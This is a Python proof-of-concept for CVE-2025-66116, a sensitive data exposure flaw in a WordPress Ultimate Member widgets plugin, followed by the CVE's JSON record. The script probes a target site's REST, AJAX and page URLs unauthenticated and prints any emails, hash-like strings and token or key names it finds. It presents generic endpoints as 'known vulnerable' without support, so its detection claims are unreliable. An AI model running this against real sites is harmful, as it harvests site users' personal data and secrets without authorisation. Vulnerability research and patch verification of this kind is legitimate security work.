CVE-2025-66116

# CVE-2025-66116 PoC - Ultimate Member Widgets Sensitive Data Exposure # Target: WordPress site with Ultimate Member Widgets for Elementor plugin <= 2.3 # Type: Sensitive Information Disclosure import requests import sys import re from urllib.parse import urljoin def test_vulnerability(target_url): """ Test for CVE-2025-66116 sensitive data exposure vulnerability """ print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-66116: Ultimate Member Widgets Sensitive Data Exposure\n") # Known vulnerable endpoints in Ultimate Member Widgets vulnerable_paths = [ '/wp-json/ultimate-member/v1/', '/?rest_route=/ultimate-member/v1/', '/wp-admin/admin-ajax.php', '/elementor/v1/', ] sensitive_patterns = [ r'[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+', # Email patterns r'wp_[a-z_]+', # WordPress database prefix patterns r'[a-f0-9]{32}', # MD5 hashes (potential API keys) r'[a-zA-Z0-9]{40}', # SHA1 hashes r'session[_-]?token', r'auth[_-]?key', r'api[_-]?key', ] found_sensitive = False for path in vulnerable_paths: url = urljoin(target_url, path) print(f"[*] Testing endpoint: {url}") try: headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/html, */*', } response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: content = response.text for pattern in sensitive_patterns: matches = re.findall(pattern, content, re.IGNORECASE) if matches: print(f"[!] Potential sensitive data found with pattern: {pattern}") print(f"[!] Sample matches: {matches[:5]}") found_sensitive = True except requests.RequestException as e: print(f"[-] Request failed: {e}") # Test Elementor page with Ultimate Member widgets print("\n[*] Testing Elementor pages with Ultimate Member widgets...") common_elementor_pages = ['/', '/about/', '/contact/', '/members/', '/user-profile/'] for page in common_elementor_pages: url = urljoin(target_url, page) try: response = requests.get(url, headers=headers, timeout=10, verify=False) if 'ultimate-member' in response.text.lower(): print(f"[+] Page {page} contains Ultimate Member content") # Check for exposed data patterns if 'data-user' in response.text or 'data-email' in response.text: print(f"[!] WARNING: Potential data attributes found in {page}") found_sensitive = True except requests.RequestException: pass if found_sensitive: print("\n[!] VULNERABLE: Sensitive data exposure detected!") print("[!] Plugin should be updated to latest version") return True else: print("\n[-] No obvious sensitive data exposure detected") print("[-] Manual verification recommended") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://localhost/' test_vulnerability(target)

{"cve": {"id": "CVE-2025-66116", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:16.193", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in UserElements Ultimate Member Widgets for Elementor ultimate-member-widgets-for-elementor allows Retrieve Embedded Sensitive Data.This issue affects Ultimate Member Widgets for Elementor: from n/a through <= 2.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-member-widgets-for-elementor/vulnerability/wordpress-ultimate-member-widgets-for-elementor-plugin-2-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}